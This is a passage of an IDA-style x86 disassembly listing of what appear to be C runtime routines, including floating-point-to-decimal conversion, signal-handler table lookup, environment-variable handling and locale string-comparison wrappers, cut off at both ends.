short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DBC5C mov eax, offset dword_4DBC5C jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DBC58 mov eax, offset dword_4DBC58 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DBC60 mov eax, offset dword_4DBC60 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DBC54 mov eax, offset dword_4DBC54 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DBA30 and dword_4DBA30, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43D02C mov dword_43D02C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43D020 mov ecx, dword_43D024 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43CFB0h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43D02C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DBA30, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43D02C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D028 cmp dword_43CFAC, edx push esi mov eax, offset dword_43CFA8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43CFA8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43CFA8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DCFF0, 0 push ebx push esi mov esi, dword_4DB980 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB988, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB980 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DCDA0 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DCCA0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB958, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB958, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43D4A8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43D608 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DCDA4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DCFC4 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB988 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CE8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DBC68, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427938 push eax push edi push eax push ebx push ebx nop call near ptr 2610000h test eax, eax jz short loc_425F53 mov dword_4DBC68, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CB50C push eax push edi push eax push ebx push ebx nop call near ptr 26105CBh test eax, eax jz loc_42616C mov dword_4DBC68, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DBC68 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26105CBh jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DBA24 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 2900000h test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2860000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2860000h test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2610000h jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB980 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB984 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB980, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB988, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB980, eax jz short loc_42620F mov [eax], edi cmp dword_4DB988, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB988, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB980 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr 